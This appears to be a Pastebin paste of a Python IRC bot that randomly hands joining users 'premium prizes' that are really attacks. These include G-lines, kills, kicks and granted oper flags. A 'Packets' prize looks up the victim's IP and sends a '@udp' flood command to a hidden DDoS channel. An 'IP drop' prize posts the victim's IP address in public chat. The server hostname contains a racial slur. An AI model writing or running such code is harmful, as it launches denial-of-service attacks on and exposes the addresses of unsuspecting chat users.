Advertisement
Guest User

Untitled

a guest
Jul 8th, 2017
992
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.97 KB | None | 0 0
  1. from twisted.words.protocols import irc
  2. from twisted.internet import protocol
  3. from twisted.internet import reactor
  4. import random, time, madhash
  5. from random import randint
  6.  
  7. #more premium prizes
  8.     #zlines
  9.     #access to premium commands
  10.         #ip
  11.         #ddos
  12.         #kill
  13.         #kick
  14.         #etc
  15. #track good rewards maybe?
  16. #add more bad_ips
  17.  
  18. oper_pass = ''
  19. ns_pass = ''
  20. delay = 20
  21. ddos_channel = ''
  22. ddos_pass = ''
  23. bad_ips = ['127.0.0.1', '178.162.240.66', '178.162.240.67', '178.162.240.68', '178.162.240.69', '178.162.240.70', '178.162.240.71', '178.162.240.72']
  24. debug_prefix = '>>debug<<'
  25.  
  26. def dice(max):
  27.     if random.randint(1,max) == 1:
  28.         return True
  29.     else:
  30.         return False
  31.  
  32. class HouseBot(irc.IRCClient):
  33.    
  34.     def _get_nickname(self):
  35.         return self.factory.nickname
  36.    
  37.     nickname = property(_get_nickname)
  38.     user_dict = {}
  39.     gift_dict = {}
  40.     ddos_dict = {}
  41.     ip_drop_dict = {}
  42.    
  43.     def signedOn(self):
  44.         self.sendLine('OPER %s' % oper_pass)
  45.         self.mode(self.factory.nickname,True,'BH',None,None,None)
  46.         self.msg('Nickserv','id %s' % ns_pass)
  47.         self.msg('Operserv', 'set superadmin on')
  48.         self.join(self.factory.channel)
  49.         self.join('%s %s' % (ddos_channel,ddos_pass))
  50.    
  51.     def gline(self,k,v,user,channel):
  52.         self.msg(channel,'%s just won a premium %s, with odds of 1 in %s. :D' % (user,k,v))
  53.         self.sendLine('GLINE %s %s :Enjoy your premium %s, courtesy of skidsr.us' % (user,k.split(' ')[0] ,k)) #fuck knows wat that bug wit switch was
  54.  
  55.     def kill(self,k,v,user,channel):
  56.         self.msg(channel,'%s just won a premium Kill, with odds of 1 in %s. :D' % (user,v))
  57.         self.sendLine('KILL %s :Enjoy your premium kill, courtesy of skidsr.us' % user)
  58.        
  59.     def _kick(self,k,v,user,channel):
  60.         self.msg(channel,'%s just won a premium %s from %s, with odds of 1 in %s. :D' % (user,k,channel,v))
  61.         self.kick(channel,user,reason='Enjoy your premium kick, courtesy of skidsr.us')
  62.        
  63.     def founder(self,k,v,user,channel):
  64.         self.msg(channel,'%s just won a premium %s in %s, with odds of 1 in %s. :D' % (user,k,channel,v))
  65.         self.mode(channel,True,'q',None,user,None)
  66.  
  67.     def oper(self,k,v,user,channel):
  68.         self.msg(channel,'%s just won some premium %s, with odds of 1 in %s. :D' % (user,k,v))
  69.         self.msg('OperServ','umode %s +iOwghraAxNWqt' % user)
  70.  
  71.     def ddos(self,k,v,user,channel):
  72.         self.msg(channel,'%s just won some premium %s, with odds of 1 in %s. :D' % (user,k,v))
  73.         self.ddos_dict[user] = channel
  74.         self.sendLine('USERIP %s' % user)
  75.        
  76.     def vhost(self,k,v,user,channel):
  77.         self.msg(channel,'%s just won some premium %s, with odds of 1 in %s. :D' % (user,k,v))
  78.         self.sendLine('CHGIDENT %s Certified' % user)
  79.         self.sendLine('CHGHOST %s premium-chatter.%s' % (user,user))
  80.        
  81.     def ip_drop(self,k,v,user,channel):
  82.         self.msg(channel,'%s just won some premium %s, with odds of 1 in %s. :D' % (user,k,v))
  83.         self.ip_drop_dict[user] = channel
  84.         self.sendLine('USERIP %s' % user)
  85.  
  86.     def debug(self,k,v,user,channel):
  87.         self.msg(channel,'%s %s %s' % (k,v,user))
  88.        
  89.     prizes = {
  90.         '24hr Gline':[10000,gline],
  91.         '6hr Gline':[5000,gline],
  92.         '1hr Gline':[1000,gline],
  93.         '10min Gline':[800,gline],
  94.         '1min Gline':[150,gline],
  95.         'Kill':[50,kill],
  96.         'Kick':[20,_kick],
  97.         '+q':[60,founder],
  98.         'Oper Flags':[1000,oper],
  99.         'Packets':[450,ddos],
  100.         'vhost':[15,vhost],
  101.         'IP drop':[75,ip_drop],
  102.     }
  103.    
  104.     def irc_JOIN(self, prefix, params):
  105.         channel = params[0]
  106.         nick = prefix.split('!')[0]
  107.         host = prefix.split('!')[1]
  108.         if nick != self.factory.nickname and channel == self.factory.channel:
  109.             if host not in self.user_dict or self.user_dict.get(host, None) <= int(time.time()):
  110.                 self.user_dict[host] = int(time.time()) + delay
  111.                 for k, v in self.prizes.iteritems():
  112.                     if dice(v[0]):
  113.                         print 'Succesful Dice for %s' % k
  114.                         self.prizes[k][1](self,k,v[0],nick,channel)
  115.                         if k == 'vhost':
  116.                             del self.user_dict[host]
  117.                             self.user_dict['certified@premium-chatter.%s' % nick] = int(time.time()) + delay
  118.                         break
  119.             else:
  120.                 print '%s needs to wait %s seconds' % (nick, self.user_dict.get(host, None) - int(time.time()))
  121.         elif nick == self.factory.nickname:
  122.             self.msg(self.factory.channel, 'Did someone say premium?')
  123.  
  124.    
  125.     def privmsg(self, user, channel, msg):
  126.         nick = user.split('!')[0]
  127.         try:
  128.             host = user.split('!')[1]
  129.         except IndexError, e:
  130.             pass
  131.  
  132.         if msg.split(' ')[0] == 'debug_prefix':
  133.             try:
  134.                 person = msg.split(' ')[1]
  135.                 prize = ' '.join(msg.split(' ')[2:])
  136.             except IndexError, e:
  137.                 self.notice(nick,'Invalid Syntax: %s nick reward' % debug_prefix)
  138.             if prize in self.prizes:
  139.                 self.gift_dict[person] = prize
  140.                 self.notice(nick,'Debug set, %s will win %s next time they >roll' % (person,prize))
  141.             else:
  142.                 self.notice(nick,'Invalid Reward, use: >prizes for a list of what can be won.')
  143.                
  144.         if msg.split(' ')[0] == '>prizes':
  145.             self.notice(nick,'Premium prizes to be won:')
  146.             for k, v in self.prizes.iteritems():
  147.                 self.notice(nick,'%s with odds of 1 in %s' % (k,v[0]))
  148.                
  149.         if msg.split(' ')[0] == '>roll' and channel == self.factory.channel:
  150.             if nick in self.gift_dict:
  151.                 k = self.gift_dict.get(nick, None)
  152.                 v = self.prizes.get(k,None)
  153.                 self.prizes[k][1](self,k,v[0],nick,channel)
  154.                 print 'Succesful debug of %s for %s' % (k,nick)
  155.                 del self.gift_dict[nick]
  156.                
  157.             elif host not in self.user_dict or self.user_dict.get(host, None) <= int(time.time()):
  158.                 self.user_dict[host] = int(time.time()) + delay
  159.                 lucky = ''
  160.                 for k, v in self.prizes.iteritems():
  161.                     if dice(v[0]):
  162.                         print 'Succesful dice roll of %s for %s' % (k,nick)
  163.                         self.prizes[k][1](self,k,v[0],nick,channel)
  164.                         lucky = 1
  165.                         if k == 'vhost':
  166.                             del self.user_dict[host]
  167.                             self.user_dict['certified@premium-chatter.%s' % nick] = int(time.time()) + delay
  168.                         break
  169.                 if not lucky:
  170.                     self.notice(nick,'Unlucky, you haven\'t won any premium prize.')
  171.             else:
  172.                 self.notice(nick,'You need to wait %s seconds' % (self.user_dict.get(host, None) - int(time.time())))
  173.    
  174.     def irc_unknown(self, prefix, command, params):
  175.        
  176.         if command == '340':
  177.             user = params[1].split('=')[0].replace('*','')
  178.             ip = params[1].split('@')[1].replace(' ', '')  
  179.             if user in self.ddos_dict:
  180.                 if ip in bad_ips:
  181.                     self.msg(self.ddos_dict.get(user, None),'%s is lucky their ip is on the no ddos list' % user)
  182.                 else:
  183.                     self.msg(ddos_channel,'@udp %s 0 360' % ip)
  184.                 del self.ddos_dict[user]
  185.             elif user in self.ip_drop_dict:
  186.                 self.msg(self.ip_drop_dict.get(user, None),'%s: nice ip bro: %s' % (user,ip))
  187.                 del self.ip_drop_dict[user]
  188.  
  189.  
  190. class HouseBotFactory(protocol.ClientFactory):
  191.     protocol = HouseBot
  192.  
  193.     def __init__(self, channel, nickname='Premium_Bot'):
  194.         self.channel = channel
  195.         self.nickname = nickname
  196.        
  197.     def clientConnectionLost(self, connector, reason):
  198.         connector.connect()
  199.        
  200.     def clientConnectionFailed(self, connector, reason):
  201.         print "Connection failure:", reason
  202.         reactor.stop()
  203.  
  204. if __name__ == '__main__':
  205.     reactor.connectTCP('niggers.skidsr.us', 6667, HouseBotFactory('#thegibson'))
  206.     reactor.run()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement